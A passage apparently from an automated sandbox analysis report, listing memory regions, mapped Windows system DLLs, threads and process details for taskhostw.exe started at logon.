(normalized: "c:\\windows\\system32\\user32.dll") Region: id = 16301 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 16302 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 16303 start_va = 0x7ff9ec520000 end_va = 0x7ff9ec5c4fff entry_point = 0x7ff9ec520000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 16304 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 16305 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 16306 start_va = 0x7ff9ecb00000 end_va = 0x7ff9ecb68fff entry_point = 0x7ff9ecb00000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 16307 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 16308 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 16309 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 16310 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 16311 start_va = 0x7ff9ee6c0000 end_va = 0x7ff9ee6c7fff entry_point = 0x7ff9ee6c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 16312 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 343 os_tid = 0x8d8 Thread: id = 344 os_tid = 0x6e4 Thread: id = 345 os_tid = 0x88c Thread: id = 346 os_tid = 0x700 Thread: id = 347 os_tid = 0x12c Thread: id = 348 os_tid = 0x1e0 Thread: id = 349 os_tid = 0x130 Thread: id = 350 os_tid = 0x2b4 Thread: id = 351 os_tid = 0x278 Thread: id = 352 os_tid = 0x234 Thread: id = 353 os_tid = 0x22c Thread: id = 354 os_tid = 0x3d4 Thread: id = 355 os_tid = 0x3c0 Thread: id = 356 os_tid = 0x3bc Thread: id = 357 os_tid = 0x3b8 Thread: id = 358 os_tid = 0x39c Thread: id = 359 os_tid = 0x394 Thread: id = 360 os_tid = 0x390 Thread: id = 361 os_tid = 0x384 Thread: id = 362 os_tid = 0x34c Thread: id = 376 os_tid = 0x144 Thread: id = 378 os_tid = 0x810 Thread: id = 379 os_tid = 0xa48 Thread: id = 380 os_tid = 0xa34 Thread: id = 382 os_tid = 0x668 Thread: id = 383 os_tid = 0x79c Process: id = "27" image_name = "taskhostw.exe" filename = "c:\\windows\\system32\\taskhostw.exe" page_root = "0x31d58000" os_pid = "0x634" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x324" cmd_line = "taskhostw.exe Logon" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 16313 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16314 start_va = 0x4eb9a20000 end_va = 0x4eb9a3ffff entry_point = 0x0 region_type = private name = "private_0x0000004eb9a20000" filename = "" Region: id = 16315 start_va = 0x4eb9a40000 end_va = 0x4eb9a53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eb9a40000" filename = "" Region: id = 16316 start_va = 0x4eb9a60000 end_va = 0x4eb9adffff entry_point = 0x0 region_type = private name = "private_0x0000004eb9a60000" filename = "" Region: id = 16317 start_va = 0x4eb9ae0000 end_va = 0x4eb9ae3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eb9ae0000" filename = "" Region: id = 16318 start_va = 0x4eb9af0000 end_va = 0x4eb9af0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eb9af0000" filename = "" Region: id = 16319 start_va = 0x4eb9b00000 end_va = 0x4eb9b01fff entry_point = 0x0 region_type = private name = "private_0x0000004eb9b00000" filename = "" Region: id = 16320 start_va = 0x7df5ff0b0000 end_va = 0x7ff5ff0affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff0b0000" filename = "" Region: id = 16321 start_va = 0x7ff70b080000 end_va = 0x7ff70b0a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff70b080000" filename = "" Region: id = 16322 start_va = 0x7ff70b0a9000 end_va = 0x7ff70b0a9fff entry_point = 0x0 region_type = private name = "private_0x00007ff70b0a9000" filename = "" Region: id = 16323 start_va = 0x7ff70b0ae000 end_va = 0x7ff70b0affff entry_point = 0x0 region_type = private name = "private_0x00007ff70b0ae000" filename = "" Region: id = 16324 start_va = 0x7ff70b9a0000 end_va = 0x7ff70b9b8fff entry_point = 0x7ff70b9a0000 region_type = mapped_file name = "taskhostw.exe" filename = "\\Windows\\System32\\taskhostw.exe" (normalized: "c:\\windows\\system32\\taskhostw.exe") Region: id = 16325 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 16326 start_va = 0x4eb9a20000 end_va = 0x4eb9a2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eb9a20000" filename = "" Region: id = 16327 start_va = 0x4eb9a30000 end_va = 0x4eb9a36fff entry_point = 0x0 region_type = private name = "private_0x0000004eb9a30000" filename = "" Region: id = 16328 start_va = 0x4eb9b10000 end_va = 0x4eb9bcdfff entry_point = 0x4eb9b10000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 16329 start_va = 0x4eb9bd0000 end_va = 0x4eb9ccffff entry_point = 0x0 region_type = private name = "private_0x0000004eb9bd0000" filename = "" Region: id = 16330 start_va = 0x4eb9cd0000 end_va = 0x4eb9d4ffff entry_point = 0x0 region_type = private name = "private_0x0000004eb9cd0000" filename = "" Region: id = 16331 start_va = 0x4eb9d50000 end_va = 0x4eb9d56fff entry_point = 0x0 region_type = private name = "private_0x0000004eb9d50000" filename = "" Region: id = 16332 start_va = 0x4eb9d60000 end_va = 0x4eb9ddffff entry_point = 0x0 region_type = private name = "private_0x0000004eb9d60000" filename = "" Region: id = 16333 start_va = 0x4eb9ef0000 end_va = 0x4eb9efffff entry_point = 0x0 region_type = private name = "private_0x0000004eb9ef0000" filename = "" Region: id = 16334 start_va = 0x7ff70af80000 end_va = 0x7ff70b07ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff70af80000" filename = "" Region: id = 16335 start_va = 0x7ff70b0aa000 end_va = 0x7ff70b0abfff entry_point = 0x0 region_type = private name = "private_0x00007ff70b0aa000" filename = "" Region: id = 16336 start_va = 0x7ff70b0ac000 end_va = 0x7ff70b0adfff entry_point = 0x0 region_type = private name = "private_0x00007ff70b0ac000" filename = "" Region: id = 16337 start_va = 0x7ff9eaff0000 end_va = 0x7ff9eb05afff entry_point = 0x7ff9eaff0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 16338 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 16339 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 16340 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 16341 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 16342 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 16343 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 16344 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 16345 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 16346 start_va = 0x4eb9de0000 end_va = 0x4eb9de0fff entry_point = 0x4eb9de0000 region_type = mapped_file name = "taskhostw.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhostw.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhostw.exe.mui") Region: id = 16347 start_va = 0x4eb9df0000 end_va = 0x4eb9df0fff entry_point = 0x0 region_type = private name = "private_0x0000004eb9df0000" filename = "" Region: id = 16348 start_va = 0x4eb9e00000 end_va = 0x4eb9e00fff entry_point = 0x0 region_type = private name = "private_0x0000004eb9e00000" filename = "" Region: id = 16349 start_va = 0x4eb9f00000 end_va = 0x4eba087fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eb9f00000" filename = "" Region: id = 16350 start_va = 0x4eba090000 end_va = 0x4eba210fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eba090000" filename = "" Region: id = 16351 start_va = 0x4eba220000 end_va = 0x4ebb61ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eba220000" filename = "" Region: id = 16352 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 16353 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 16354 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 16355 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 16356 start_va = 0x4eb9e10000 end_va = 0x4eb9e13fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eb9e10000" filename = "" Region: id = 16357 start_va = 0x4eb9e20000 end_va = 0x4eb9e20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eb9e20000" filename = "" Region: id = 16358 start_va = 0x4eb9e30000 end_va = 0x4eb9e30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004eb9e30000" filename = "" Region: id = 16359 start_va = 0x4eb9e90000 end_va = 0x4eb9e9ffff entry_point = 0x0 region_type = private name = "private_0x0000004eb9e90000" filename = "" Region: id = 16360 start_va = 0x4ebb620000 end_va = 0x4ebb6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ebb620000" filename = "" Region: id = 16361 start_va = 0x4ebb6e0000 end_va = 0x4ebb75ffff entry_point = 0x0 region_type = private name = "private_0x0000004ebb6e0000" filename = "" Region: id = 16362 start_va = 0x4ebb760000 end_va = 0x4ebba96fff entry_point = 0x4ebb760000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 16363 start_va = 0x4ebbaa0000 end_va = 0x4ebbb1ffff entry_point = 0x0 region_type = private name = "private_0x0000004ebbaa0000" filename = "" Region: id = 16364 start_va = 0x4ebbb20000 end_va = 0x4ebbb9ffff entry_point = 0x0 region_type = private name = "private_0x0000004ebbb20000" filename = "" Region: id = 16365 start_va = 0x4ebbba0000 end_va = 0x4ebbc1ffff entry_point = 0x0 region_type = private name = "private_0x0000004ebbba0000" filename = "" Region: id = 16366 start_va = 0x4ebbc20000 end_va = 0x4ebbc9ffff entry_point = 0x0 region_type = private name = "private_0x0000004ebbc20000" filename = "" Region: id = 16367 start_va = 0x7ff70af7c000 end_va = 0x7ff70af7dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70af7c000" filename = "" Region: id = 16368 start_va = 0x7ff70af7e000 end_va = 0x7ff70af7ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70af7e000" filename = "" Region: id = 16369 start_va = 0x7ff70b0a3000 end_va = 0x7ff70b0a4fff entry_point = 0x0 region_type = private name = "private_0x00007ff70b0a3000" filename = "" Region: id = 16370 start_va = 0x7ff70b0a5000 end_va = 0x7ff70b0a6fff entry_point = 0x0 region_type = private name = "private_0x00007ff70b0a5000" filename = "" Region: id = 16371 start_va = 0x7ff70b0a7000 end_va = 0x7ff70b0a8fff entry_point = 0x0 region_type = private name = "private_0x00007ff70b0a7000" filename = "" Region: id = 16372 start_va = 0x7ff9e71e0000 end_va = 0x7ff9e7218fff entry_point = 0x7ff9e71e0000 region_type = mapped_file name = "workfoldersshell.dll" filename = "\\Windows\\System32\\WorkFoldersShell.dll" (normalized: "c:\\windows\\system32\\workfoldersshell.dll") Region: id = 16373 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 16374 start_va = 0x7ff9e9210000 end_va = 0x7ff9e9231fff entry_point = 0x7ff9e9210000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 16375 start_va = 0x7ff9e9a70000 end_va = 0x7ff9e9b05fff entry_point = 0x7ff9e9a70000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 16376 start_va = 0x7ff9ea6c0000 end_va = 0x7ff9ea6f2fff entry_point = 0x7ff9ea6c0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 16377 start_va = 0x7ff9eaa70000 end_va = 0x7ff9eaa86fff entry_point = 0x7ff9eaa70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 16378 start_va = 0x7ff9eabe0000 end_va = 0x7ff9eabeafff entry_point = 0x7ff9eabe0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 16379 start_va = 0x7ff9eafc0000 end_va = 0x7ff9eafe7fff entry_point = 0x7ff9eafc0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 16380 start_va = 0x7ff9eb1a0000 end_va = 0x7ff9eb1b2fff entry_point = 0x7ff9eb1a0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 16381 start_va = 0x7ff9eb1c0000 end_va = 0x7ff9eb209fff entry_point = 0x7ff9eb1c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 16382 start_va = 0x7ff9eb520000 end_va = 0x7ff9eb5d2fff entry_point = 0x7ff9eb520000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 16383 start_va = 0x7ff9eb5e0000 end_va = 0x7ff9ebc07fff entry_point = 0x7ff9eb5e0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 16384 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 16385 start_va = 0x7ff9ec520000 end_va = 0x7ff9ec5c4fff entry_point = 0x7ff9ec520000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 16386 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 16387 start_va = 0x7ff9ecb70000 end_va = 0x7ff9ee094fff entry_point = 0x7ff9ecb70000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 16388 start_va = 0x7ff9ee660000 end_va = 0x7ff9ee6b0fff entry_point = 0x7ff9ee660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 16389 start_va = 0x7ff9e80a0000 end_va = 0x7ff9e80b1fff entry_point = 0x7ff9e80a0000 region_type = mapped_file name = "taskschdps.dll" filename = "\\Windows\\System32\\TaskSchdPS.dll" (normalized: "c:\\windows\\system32\\taskschdps.dll") Thread: id = 363 os_tid = 0x78c Thread: id = 366 os_tid = 0x4d8 Thread: id = 367 os_tid = 0x454 Thread: id = 368 os_tid = 0x460 Thread: id = 369 os_tid = 0x748 Thread: id = 370 os_tid = 0x44c Thread: id = 371 os_tid = 0x458 Thread: id = 372 os_tid = 0x968 Thread: id = 373 os_tid = 0x750 Thread: id = 374 os_tid = 0x2c0